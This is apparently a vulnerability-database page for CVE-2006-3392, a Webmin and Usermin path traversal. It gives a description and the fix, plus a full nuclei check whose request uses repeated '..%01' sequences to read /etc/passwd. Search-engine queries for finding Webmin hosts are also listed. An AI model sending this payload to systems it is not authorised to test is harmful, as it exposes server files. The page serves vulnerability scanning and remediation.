HexBrain

Browse / CVEs / CVE-2006-3392

CVE-2006-3392· webmin / webmin· CWE-22

Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure

mediumseverity
5CVSS score
79.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Webmin before 1.290 and Usermin before 1.220 contain a path traversal caused by calling the simplify_path function before decoding HTML, letting remote attackers read arbitrary files, exploit requires sending crafted '..%01' sequences.

Impact

Attackers can read arbitrary files on the server, potentially exposing sensitive information.

Fix

Update to Webmin 1.290 and Usermin 1.220 or later versions.

How to confirm it

Send: GET {{BaseURL}}/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/.…
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2006-3392 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2006-3392

info:
  name: Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure
  author: s4e-io
  severity: medium
  description: |
    Webmin before 1.290 and Usermin before 1.220 contain a path traversal caused by calling the simplify_path function before decoding HTML, letting remote attackers read arbitrary files, exploit requires sending crafted '..%01' sequences.
  impact: |
    Attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Update to Webmin 1.290 and Usermin 1.220 or later versions.
  reference:
    - https://www.exploit-db.com/exploits/1997
    - https://www.exploit-db.com/exploits/2017
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5.0
    cve-id: CVE-2006-3392
    epss-score: 0.79489
    epss-percentile: 0.99607
    cwe-id: CWE-22
  metadata:
    max-request: 1
    vendor: webmin
    product: webmin
    shodan-query: http.title:"webmin"
    fofa-query: title="webmin"
    google-query: intitle:"webmin"
  tags: cve,cve2006,webmin,usermin,lfi,traversal,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from